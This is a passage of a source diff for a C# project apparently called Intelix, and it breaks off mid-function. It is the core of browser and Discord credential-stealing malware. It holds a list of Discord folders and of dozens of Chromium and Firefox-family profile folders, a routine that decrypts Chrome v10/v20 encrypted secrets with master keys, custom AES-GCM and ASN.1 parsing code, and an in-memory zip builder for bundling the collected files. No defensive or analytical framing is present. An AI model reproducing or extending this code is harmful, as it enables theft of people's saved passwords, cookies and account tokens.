|
||||
using System.IO.Compression;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public sealed class InMemoryZip : IDisposable
|
||||
{
|
||||
private readonly ConcurrentDictionary<string, byte[]> _entries = new ConcurrentDictionary<string, byte[]>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private readonly object _buildLock = new object();
|
||||
|
||||
private bool _disposed;
|
||||
private string _rootFolderPrefix = string.Empty;
|
||||
|
||||
public int Count => _entries.Count;
|
||||
|
||||
public void SetRootFolderPrefix(string prefix)
|
||||
{
|
||||
if (string.IsNullOrEmpty(prefix))
|
||||
{
|
||||
_rootFolderPrefix = string.Empty;
|
||||
}
|
||||
else
|
||||
{
|
||||
_rootFolderPrefix = NormalizeEntryName(prefix) + "/";
|
||||
}
|
||||
}
|
||||
|
||||
private static string NormalizeEntryName(string name)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(name))
|
||||
{
|
||||
throw new ArgumentException("Entry name is null or empty", "name");
|
||||
}
|
||||
name = name.Replace('\\', '/').Trim('/');
|
||||
if (name.Length != 0)
|
||||
{
|
||||
return name;
|
||||
}
|
||||
throw new ArgumentException("Invalid entry name", "name");
|
||||
}
|
||||
|
||||
private string ApplyRootPrefix(string entryPath)
|
||||
{
|
||||
if (string.IsNullOrEmpty(_rootFolderPrefix))
|
||||
{
|
||||
return entryPath;
|
||||
}
|
||||
string normalized = NormalizeEntryName(entryPath);
|
||||
if (normalized.StartsWith(_rootFolderPrefix, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return normalized;
|
||||
}
|
||||
return _rootFolderPrefix + normalized;
|
||||
}
|
||||
|
||||
public void AddFile(string entryPath, byte[] content)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException("InMemoryZip");
|
||||
}
|
||||
if (content != null && content.Length != 0)
|
||||
{
|
||||
string key = ApplyRootPrefix(entryPath);
|
||||
byte[] copy = new byte[content.Length];
|
||||
Buffer.BlockCopy(content, 0, copy, 0, content.Length);
|
||||
_entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy);
|
||||
}
|
||||
}
|
||||
|
||||
public void AddTextFile(string entryPath, string text)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
AddFile(entryPath, Encoding.UTF8.GetBytes(text));
|
||||
}
|
||||
}
|
||||
|
||||
public void AddDirectoryFiles(string sourceDirectory, string targetEntryDirectory = "", bool recursive = true)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException("InMemoryZip");
|
||||
}
|
||||
if (string.IsNullOrEmpty(sourceDirectory))
|
||||
{
|
||||
throw new ArgumentException("sourceDirectory");
|
||||
}
|
||||
if (!Directory.Exists(sourceDirectory))
|
||||
{
|
||||
return;
|
||||
}
|
||||
SearchOption searchOption = (recursive ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly);
|
||||
string[] files = Directory.GetFiles(sourceDirectory, "*", searchOption);
|
||||
foreach (string text in files)
|
||||
{
|
||||
string text2 = text.Substring(sourceDirectory.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
|
||||
string text3 = (string.IsNullOrEmpty(targetEntryDirectory) ? text2 : Path.Combine(targetEntryDirectory, text2));
|
||||
text3 = text3.Replace('\\', '/');
|
||||
try
|
||||
{
|
||||
byte[] content = File.ReadAllBytes(text);
|
||||
AddFile(text3, content);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ToArray(CompressionLevel compression = CompressionLevel.Fastest)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
throw new ObjectDisposedException("InMemoryZip");
|
||||
}
|
||||
lock (_buildLock)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true, Encoding.UTF8))
|
||||
{
|
||||
foreach (KeyValuePair<string, byte[]> entry in _entries)
|
||||
{
|
||||
using Stream stream = zipArchive.CreateEntry(entry.Key, compression).Open();
|
||||
byte[] value = entry.Value;
|
||||
stream.Write(value, 0, value.Length);
|
||||
}
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public IEnumerable<KeyValuePair<string, byte[]>> GetAllEntries()
|
||||
{
|
||||
return _entries;
|
||||
}
|
||||
|
||||
public void Clear()
|
||||
{
|
||||
_entries.Clear();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (!_disposed)
|
||||
{
|
||||
_disposed = true;
|
||||
_entries.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public static class Paths
|
||||
{
|
||||
public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
|
||||
public static string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
||||
|
||||
public static string[] Discord = new string[4]
|
||||
{
|
||||
appdata + "\\discord",
|
||||
appdata + "\\discordcanary",
|
||||
appdata + "\\Lightcord",
|
||||
appdata + "\\discordptb"
|
||||
};
|
||||
|
||||
public static string[] Chromium = new string[66]
|
||||
{
|
||||
appdata + "\\Lulumi-browser",
|
||||
appdata + "\\kingpinbrowser",
|
||||
appdata + "\\Falkon\\Profiles",
|
||||
appdata + "\\Hola\\chromium_profile",
|
||||
appdata + "\\Opera Software\\Opera Stable",
|
||||
appdata + "\\Opera Software\\Opera GX Stable",
|
||||
localappdata + "\\Battle.net",
|
||||
localappdata + "\\GhostBrowser",
|
||||
localappdata + "\\ColibriBrowser",
|
||||
localappdata + "\\Min\\User Data",
|
||||
localappdata + "\\Coowon\\Coowon",
|
||||
localappdata + "\\Uran\\User Data",
|
||||
localappdata + "\\Kinza\\User Data",
|
||||
localappdata + "\\Blisk\\User Data",
|
||||
localappdata + "\\Xvast\\User Data",
|
||||
localappdata + "\\Torch\\User Data",
|
||||
localappdata + "\\CryptoTab Browser",
|
||||
localappdata + "\\Comodo\\User Data",
|
||||
localappdata + "\\Kometa\\User Data",
|
||||
localappdata + "\\liebao\\User Data",
|
||||
localappdata + "\\Chedot\\User Data",
|
||||
localappdata + "\\K-Melon\\User Data",
|
||||
localappdata + "\\Orbitum\\User Data",
|
||||
localappdata + "\\Vivaldi\\User Data",
|
||||
localappdata + "\\Slimjet\\User Data",
|
||||
localappdata + "\\Iridium\\User Data",
|
||||
localappdata + "\\Maxthon\\User Data",
|
||||
localappdata + "\\Maxthon3\\User Data",
|
||||
localappdata + "\\Nichrome\\User Data",
|
||||
localappdata + "\\Chromodo\\User Data",
|
||||
localappdata + "\\QIP Surf\\User Data",
|
||||
localappdata + "\\Chromium\\User Data",
|
||||
localappdata + "\\BitTorrent\\Maelstrom",
|
||||
localappdata + "\\Globus VPN\\User Data",
|
||||
localappdata + "\\CentBrowser\\User Data",
|
||||
localappdata + "\\Amigo\\User\\User Data",
|
||||
localappdata + "\\MapleStudio\\ChromePlus",
|
||||
localappdata + "\\7Star\\7Star\\User Data",
|
||||
localappdata + "\\Mail.Ru\\Atom\\User Data",
|
||||
localappdata + "\\Comodo\\Dragon\\User Data",
|
||||
localappdata + "\\UCBrowser\\User Data_i18n",
|
||||
localappdata + "\\Google\\Chrome\\User Data",
|
||||
localappdata + "\\Coowon\\Coowon\\User Data",
|
||||
localappdata + "\\CocCoc\\Browser\\User Data",
|
||||
localappdata + "\\AOL\\AOL Shield\\User Data",
|
||||
localappdata + "\\Microsoft\\Edge\\User Data",
|
||||
localappdata + "\\uCozMedia\\Uran\\User Data",
|
||||
localappdata + "\\Element Browser\\User Data",
|
||||
localappdata + "\\Sputnik\\Sputnik\\User Data",
|
||||
localappdata + "\\Elements Browser\\User Data",
|
||||
localappdata + "\\CCleaner Browser\\User Data",
|
||||
localappdata + "\\360Chrome\\Chrome\\User Data",
|
||||
localappdata + "\\Tencent\\QQBrowser\\User Data",
|
||||
localappdata + "\\Naver\\Naver Whale\\User Data",
|
||||
localappdata + "\\Baidu\\BaiduBrowser\\User Data",
|
||||
localappdata + "\\360Browser\\Browser\\User Data",
|
||||
localappdata + "\\Google(x86)\\Chrome\\User Data",
|
||||
localappdata + "\\Epic Privacy Browser\\User Data",
|
||||
localappdata + "\\CatalinaGroup\\Citrio\\User Data",
|
||||
localappdata + "\\Yandex\\YandexBrowser\\User Data",
|
||||
localappdata + "\\MapleStudio\\ChromePlus\\User Data",
|
||||
localappdata + "\\AVAST Software\\Browser\\User Data",
|
||||
localappdata + "\\BraveSoftware\\Brave-Browser\\User Data",
|
||||
localappdata + "\\NVIDIA Corporation\\NVIDIA GeForce Experience",
|
||||
localappdata + "\\BraveSoftware\\Brave-Browser-Nightly\\User Data",
|
||||
localappdata + "\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer"
|
||||
};
|
||||
|
||||
public static string[] Gecko = new string[18]
|
||||
{
|
||||
appdata + "\\Mozilla\\Firefox\\Profiles",
|
||||
appdata + "\\Waterfox\\Profiles",
|
||||
appdata + "\\K-Meleon\\Profiles",
|
||||
appdata + "\\Thunderbird\\Profiles",
|
||||
appdata + "\\Comodo\\IceDragon\\Profiles",
|
||||
appdata + "\\8pecxstudios\\Cyberfox\\Profiles",
|
||||
appdata + "\\NETGATE Technologies\\BlackHaw\\Profiles",
|
||||
appdata + "\\Moonchild Productions\\Pale Moon\\Profiles",
|
||||
appdata + "\\Ghostery Browser\\Profiles",
|
||||
appdata + "\\Undetectable\\Profiles",
|
||||
appdata + "\\Sielo\\profiles",
|
||||
appdata + "\\Waterfox\\Profiles",
|
||||
appdata + "\\conkeror.mozdev.org\\conkeror\\Profiles",
|
||||
appdata + "\\Netscape\\Navigator\\Profiles",
|
||||
appdata + "\\Mozilla\\SeaMonkey\\Profiles",
|
||||
appdata + "\\FlashPeak\\SlimBrowser\\Profiles",
|
||||
appdata + "\\Avant Profiles",
|
||||
appdata + "\\Flock\\Profiles"
|
||||
};
|
||||
|
||||
public static string GetBrowserName(string path)
|
||||
{
|
||||
string[] array = path.Split(Path.DirectorySeparatorChar);
|
||||
if (path.Contains("Opera"))
|
||||
{
|
||||
return array[6].Replace(" Stable", "");
|
||||
}
|
||||
return array[5];
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,99 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class AesGcm
|
||||
{
|
||||
private const int MacBitSize = 128;
|
||||
|
||||
private const int NonceBitSize = 96;
|
||||
|
||||
private const int TagBytes = 16;
|
||||
|
||||
private const int NonceBytes = 12;
|
||||
|
||||
private const int HeaderBytes = 3;
|
||||
|
||||
public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix)
|
||||
{
|
||||
if (encryptedData.Length < 31)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string text = Encoding.ASCII.GetString(encryptedData, 0, 3);
|
||||
byte[] array = new byte[12];
|
||||
Buffer.BlockCopy(encryptedData, 3, array, 0, 12);
|
||||
int num = 15;
|
||||
int num2 = encryptedData.Length - num - 16;
|
||||
if (num2 < 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array2 = new byte[num2];
|
||||
if (num2 > 0)
|
||||
{
|
||||
Buffer.BlockCopy(encryptedData, num, array2, 0, num2);
|
||||
}
|
||||
byte[] array3 = new byte[16];
|
||||
Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16);
|
||||
byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null));
|
||||
if (array4 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3);
|
||||
if (array5 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (checkprefix && HasPrefix(array5))
|
||||
{
|
||||
if (array5.Length <= 32)
|
||||
{
|
||||
return array5;
|
||||
}
|
||||
int num3 = 0;
|
||||
for (int i = 0; i < 32; i++)
|
||||
{
|
||||
byte b = array5[i];
|
||||
if (b >= 32 && b <= 126)
|
||||
{
|
||||
num3++;
|
||||
}
|
||||
if (num3 > 2)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (num3 > 2)
|
||||
{
|
||||
if (array5.Length <= 32)
|
||||
{
|
||||
return new byte[0];
|
||||
}
|
||||
byte[] array6 = new byte[array5.Length - 32];
|
||||
Array.Copy(array5, 32, array6, 0, array6.Length);
|
||||
return array6;
|
||||
}
|
||||
}
|
||||
return array5;
|
||||
}
|
||||
|
||||
private static bool HasPrefix(byte[] plainText)
|
||||
{
|
||||
if (plainText.Length < 32)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < 32; i++)
|
||||
{
|
||||
if (plainText[i] >= 32 && plainText[i] <= 126)
|
||||
{
|
||||
num++;
|
||||
}
|
||||
}
|
||||
return num > 2;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class AesGcm256
|
||||
{
|
||||
private static readonly byte[] SBox = new byte[256]
|
||||
{
|
||||
99, 124, 119, 123, 242, 107, 111, 197, 48, 1,
|
||||
103, 43, 254, 215, 171, 118, 202, 130, 201, 125,
|
||||
250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
|
||||
114, 192, 183, 253, 147, 38, 54, 63, 247, 204,
|
||||
52, 165, 229, 241, 113, 216, 49, 21, 4, 199,
|
||||
35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
|
||||
235, 39, 178, 117, 9, 131, 44, 26, 27, 110,
|
||||
90, 160, 82, 59, 214, 179, 41, 227, 47, 132,
|
||||
83, 209, 0, 237, 32, 252, 177, 91, 106, 203,
|
||||
190, 57, 74, 76, 88, 207, 208, 239, 170, 251,
|
||||
67, 77, 51, 133, 69, 249, 2, 127, 80, 60,
|
||||
159, 168, 81, 163, 64, 143, 146, 157, 56, 245,
|
||||
188, 182, 218, 33, 16, 255, 243, 210, 205, 12,
|
||||
19, 236, 95, 151, 68, 23, 196, 167, 126, 61,
|
||||
100, 93, 25, 115, 96, 129, 79, 220, 34, 42,
|
||||
144, 136, 70, 238, 184, 20, 222, 94, 11, 219,
|
||||
224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
|
||||
172, 98, 145, 149, 228, 121, 231, 200, 55, 109,
|
||||
141, 213, 78, 169, 108, 86, 244, 234, 101, 122,
|
||||
174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
|
||||
232, 221, 116, 31, 75, 189, 139, 138, 112, 62,
|
||||
181, 102, 72, 3, 246, 14, 97, 53, 87, 185,
|
||||
134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
|
||||
142, 148, 155, 30, 135, 233, 206, 85, 40, 223,
|
||||
140, 161, 137, 13, 191, 230, 66, 104, 65, 153,
|
||||
45, 15, 176, 84, 187, 22
|
||||
};
|
||||
|
||||
private static readonly byte[] Rcon = new byte[256]
|
||||
{
|
||||
0, 1, 2, 4, 8, 16, 32, 64, 128, 27,
|
||||
54, 108, 216, 171, 77, 154, 47, 94, 188, 99,
|
||||
198, 151, 53, 106, 212, 179, 125, 250, 239, 197,
|
||||
145, 57, 114, 228, 211, 189, 97, 194, 159, 37,
|
||||
74, 148, 51, 102, 204, 131, 29, 58, 116, 232,
|
||||
203, 141, 1, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0
|
||||
};
|
||||
|
||||
private byte[] Key;
|
||||
|
||||
private byte[,] RoundKeys;
|
||||
|
||||
public AesGcm256(byte[] key)
|
||||
{
|
||||
if (key.Length != 32)
|
||||
{
|
||||
throw new ArgumentException("Key length must be 256 bits.");
|
||||
}
|
||||
Key = new byte[32];
|
||||
Array.Copy(key, Key, 32);
|
||||
KeyExpansion();
|
||||
}
|
||||
|
||||
public static byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
|
||||
{
|
||||
return new AesGcm256(key).Decrypt(cipherText, authTag, iv, aad);
|
||||
}
|
||||
|
||||
private void KeyExpansion()
|
||||
{
|
||||
int num = 8;
|
||||
int num2 = 4;
|
||||
int num3 = 14;
|
||||
RoundKeys = new byte[num2 * (num3 + 1), 4];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
RoundKeys[i, 0] = Key[4 * i];
|
||||
RoundKeys[i, 1] = Key[4 * i + 1];
|
||||
RoundKeys[i, 2] = Key[4 * i + 2];
|
||||
RoundKeys[i, 3] = Key[4 * i + 3];
|
||||
}
|
||||
byte[] array = new byte[4];
|
||||
for (int j = num; j < num2 * (num3 + 1); j++)
|
||||
{
|
||||
array[0] = RoundKeys[j - 1, 0];
|
||||
array[1] = RoundKeys[j - 1, 1];
|
||||
array[2] = RoundKeys[j - 1, 2];
|
||||
array[3] = RoundKeys[j - 1, 3];
|
||||
if (j % num == 0)
|
||||
{
|
||||
byte b = array[0];
|
||||
array[0] = array[1];
|
||||
array[1] = array[2];
|
||||
array[2] = array[3];
|
||||
array[3] = b;
|
||||
array[0] = SBox[array[0]];
|
||||
array[1] = SBox[array[1]];
|
||||
array[2] = SBox[array[2]];
|
||||
array[3] = SBox[array[3]];
|
||||
array[0] ^= Rcon[j / num];
|
||||
}
|
||||
else if (num > 6 && j % num == 4)
|
||||
{
|
||||
array[0] = SBox[array[0]];
|
||||
array[1] = SBox[array[1]];
|
||||
array[2] = SBox[array[2]];
|
||||
array[3] = SBox[array[3]];
|
||||
}
|
||||
RoundKeys[j, 0] = (byte)(RoundKeys[j - num, 0] ^ array[0]);
|
||||
RoundKeys[j, 1] = (byte)(RoundKeys[j - num, 1] ^ array[1]);
|
||||
RoundKeys[j, 2] = (byte)(RoundKeys[j - num, 2] ^ array[2]);
|
||||
RoundKeys[j, 3] = (byte)(RoundKeys[j - num, 3] ^ array[3]);
|
||||
}
|
||||
}
|
||||
|
||||
private void AddRoundKey(byte[,] state, int round)
|
||||
{
|
||||
for (int i = 0; i < 4; i++)
|
||||
{
|
||||
for (int j = 0; j < 4; j++)
|
||||
{
|
||||
state[j, i] ^= RoundKeys[round * 4 + i, j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void SubBytes(byte[,] state)
|
||||
{
|
||||
for (int i = 0; i < 4; i++)
|
||||
{
|
||||
for (int j = 0; j < 4; j++)
|
||||
{
|
||||
state[i, j] = SBox[state[i, j]];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ShiftRows(byte[,] state)
|
||||
{
|
||||
byte b = state[1, 0];
|
||||
state[1, 0] = state[1, 1];
|
||||
state[1, 1] = state[1, 2];
|
||||
state[1, 2] = state[1, 3];
|
||||
state[1, 3] = b;
|
||||
b = state[2, 0];
|
||||
state[2, 0] = state[2, 2];
|
||||
state[2, 2] = b;
|
||||
b = state[2, 1];
|
||||
state[2, 1] = state[2, 3];
|
||||
state[2, 3] = b;
|
||||
b = state[3, 3];
|
||||
state[3, 3] = state[3, 2];
|
||||
state[3, 2] = state[3, 1];
|
||||
state[3, 1] = state[3, 0];
|
||||
state[3, 0] = b;
|
||||
}
|
||||
|
||||
private void MixColumns(byte[,] state)
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
for (int i = 0; i < 4; i++)
|
||||
{
|
||||
array[0] = (byte)(GFMultiply(2, state[0, i]) ^ GFMultiply(3, state[1, i]) ^ state[2, i] ^ state[3, i]);
|
||||
array[1] = (byte)(state[0, i] ^ GFMultiply(2, state[1, i]) ^ GFMultiply(3, state[2, i]) ^ state[3, i]);
|
||||
array[2] = (byte)(state[0, i] ^ state[1, i] ^ GFMultiply(2, state[2, i]) ^ GFMultiply(3, state[3, i]));
|
||||
array[3] = (byte)(GFMultiply(3, state[0, i]) ^ state[1, i] ^ state[2, i] ^ GFMultiply(2, state[3, i]));
|
||||
state[0, i] = array[0];
|
||||
state[1, i] = array[1];
|
||||
state[2, i] = array[2];
|
||||
state[3, i] = array[3];
|
||||
}
|
||||
}
|
||||
|
||||
private byte GFMultiply(byte a, byte b)
|
||||
{
|
||||
byte b2 = 0;
|
||||
for (int i = 0; i < 8; i++)
|
||||
{
|
||||
if ((b & 1) != 0)
|
||||
{
|
||||
b2 ^= a;
|
||||
}
|
||||
bool num = (a & 0x80) != 0;
|
||||
a <<= 1;
|
||||
if (num)
|
||||
{
|
||||
a ^= 0x1B;
|
||||
}
|
||||
b >>= 1;
|
||||
}
|
||||
return b2;
|
||||
}
|
||||
|
||||
private void EncryptBlock(byte[] input, byte[] output)
|
||||
{
|
||||
int num = 4;
|
||||
int num2 = 14;
|
||||
byte[,] array = new byte[4, num];
|
||||
for (int i = 0; i < 16; i++)
|
||||
{
|
||||
array[i % 4, i / 4] = input[i];
|
||||
}
|
||||
AddRoundKey(array, 0);
|
||||
for (int j = 1; j <= num2 - 1; j++)
|
||||
{
|
||||
SubBytes(array);
|
||||
ShiftRows(array);
|
||||
MixColumns(array);
|
||||
AddRoundKey(array, j);
|
||||
}
|
||||
SubBytes(array);
|
||||
ShiftRows(array);
|
||||
AddRoundKey(array, num2);
|
||||
for (int k = 0; k < 16; k++)
|
||||
{
|
||||
output[k] = array[k % 4, k / 4];
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] GF128Multiply(byte[] X, byte[] Y)
|
||||
{
|
||||
byte[] array = new byte[16];
|
||||
byte[] array2 = new byte[16];
|
||||
Array.Copy(Y, array2, 16);
|
||||
for (int i = 0; i < 128; i++)
|
||||
{
|
||||
if (((X[i / 8] >> 7 - i % 8) & 1) == 1)
|
||||
{
|
||||
for (int j = 0; j < 16; j++)
|
||||
{
|
||||
array[j] ^= array2[j];
|
||||
}
|
||||
}
|
||||
bool flag = (array2[15] & 1) == 1;
|
||||
for (int num = 15; num >= 0; num--)
|
||||
{
|
||||
array2[num] = (byte)((array2[num] >> 1) | (((num > 0) ? array2[num - 1] : 0) << 7));
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
array2[0] ^= 225;
|
||||
}
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
private byte[] GHASH(byte[] H, byte[] A, byte[] C)
|
||||
{
|
||||
_ = (A.Length + 15) / 16;
|
||||
_ = (C.Length + 15) / 16;
|
||||
byte[] array = new byte[16];
|
||||
byte[] array2 = new byte[16];
|
||||
byte[] array3 = new byte[16];
|
||||
int num;
|
||||
for (int i = 0; i < A.Length; i += num)
|
||||
{
|
||||
Array.Clear(array3, 0, 16);
|
||||
num = Math.Min(16, A.Length - i);
|
||||
Array.Copy(A, i, array3, 0, num);
|
||||
for (int j = 0; j < 16; j++)
|
||||
{
|
||||
array2[j] = (byte)(array[j] ^ array3[j]);
|
||||
}
|
||||
array = GF128Multiply(array2, H);
|
||||
}
|
||||
int num2;
|
||||
for (int i = 0; i < C.Length; i += num2)
|
||||
{
|
||||
Array.Clear(array3, 0, 16);
|
||||
num2 = Math.Min(16, C.Length - i);
|
||||
Array.Copy(C, i, array3, 0, num2);
|
||||
for (int k = 0; k < 16; k++)
|
||||
{
|
||||
array2[k] = (byte)(array[k] ^ array3[k]);
|
||||
}
|
||||
array = GF128Multiply(array2, H);
|
||||
}
|
||||
byte[] array4 = new byte[16];
|
||||
ulong num3 = (ulong)A.Length * 8uL;
|
||||
ulong num4 = (ulong)C.Length * 8uL;
|
||||
for (int l = 0; l < 8; l++)
|
||||
{
|
||||
array4[7 - l] = (byte)(num3 >> l * 8);
|
||||
array4[15 - l] = (byte)(num4 >> l * 8);
|
||||
}
|
||||
for (int m = 0; m < 16; m++)
|
||||
{
|
||||
array2[m] = (byte)(array[m] ^ array4[m]);
|
||||
}
|
||||
return GF128Multiply(array2, H);
|
||||
}
|
||||
|
||||
private void IncrementCounter(byte[] counterBlock)
|
||||
{
|
||||
int num = 15;
|
||||
while (num >= 12 && ++counterBlock[num] == 0)
|
||||
{
|
||||
num--;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] ciphertext, byte[] tag, byte[] iv, byte[] aad)
|
||||
{
|
||||
if (aad == null)
|
||||
{
|
||||
aad = new byte[0];
|
||||
}
|
||||
byte[] array = new byte[16];
|
||||
EncryptBlock(new byte[16], array);
|
||||
byte[] array2 = new byte[16];
|
||||
if (iv.Length == 12)
|
||||
{
|
||||
Array.Copy(iv, 0, array2, 0, 12);
|
||||
array2[15] = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
array2 = GHASH(array, null, iv);
|
||||
}
|
||||
byte[] array3 = new byte[ciphertext.Length];
|
||||
byte[] array4 = new byte[16];
|
||||
Array.Copy(array2, array4, 16);
|
||||
int num = ciphertext.Length / 16;
|
||||
int num2 = ciphertext.Length % 16;
|
||||
int num3 = ((num2 == 0) ? num : (num + 1));
|
||||
for (int i = 0; i < num3; i++)
|
||||
{
|
||||
IncrementCounter(array4);
|
||||
byte[] array5 = new byte[16];
|
||||
EncryptBlock(array4, array5);
|
||||
int num4 = ((i < num) ? 16 : num2);
|
||||
for (int j = 0; j < num4; j++)
|
||||
{
|
||||
array3[i * 16 + j] = (byte)(ciphertext[i * 16 + j] ^ array5[j]);
|
||||
}
|
||||
}
|
||||
byte[] array6 = GHASH(array, aad, ciphertext);
|
||||
byte[] array7 = new byte[16];
|
||||
EncryptBlock(array2, array7);
|
||||
byte[] array8 = new byte[16];
|
||||
for (int k = 0; k < 16; k++)
|
||||
{
|
||||
array8[k] = (byte)(array7[k] ^ array6[k]);
|
||||
}
|
||||
if (!VerifyTag(tag, array8))
|
||||
{
|
||||
throw new Exception("Authentication tag does not match. Decryption failed.");
|
||||
}
|
||||
return array3;
|
||||
}
|
||||
|
||||
private bool VerifyTag(byte[] tag1, byte[] tag2)
|
||||
{
|
||||
if (tag1.Length != tag2.Length)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < tag1.Length; i++)
|
||||
{
|
||||
num |= tag1[i] ^ tag2[i];
|
||||
}
|
||||
return num == 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Asn1Der
|
||||
{
|
||||
public enum Type
|
||||
{
|
||||
Sequence = 48,
|
||||
Integer = 2,
|
||||
OctetString = 4,
|
||||
ObjectIdentifier = 6
|
||||
}
|
||||
|
||||
public Asn1DerObject Parse(byte[] toParse)
|
||||
{
|
||||
Asn1DerObject asn1DerObject = new Asn1DerObject();
|
||||
for (int i = 0; i < toParse.Length; i++)
|
||||
{
|
||||
switch ((Type)toParse[i])
|
||||
{
|
||||
case Type.Sequence:
|
||||
{
|
||||
byte[] array;
|
||||
if (asn1DerObject.Lenght == 0)
|
||||
{
|
||||
asn1DerObject.Type = Type.Sequence;
|
||||
asn1DerObject.Lenght = toParse.Length - (i + 2);
|
||||
array = new byte[asn1DerObject.Lenght];
|
||||
}
|
||||
else
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Sequence,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
array = new byte[toParse[i + 1]];
|
||||
}
|
||||
int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
asn1DerObject.Objects.Add(Parse(array));
|
||||
i = i + 1 + toParse[i + 1];
|
||||
break;
|
||||
}
|
||||
case Type.Integer:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Integer,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray();
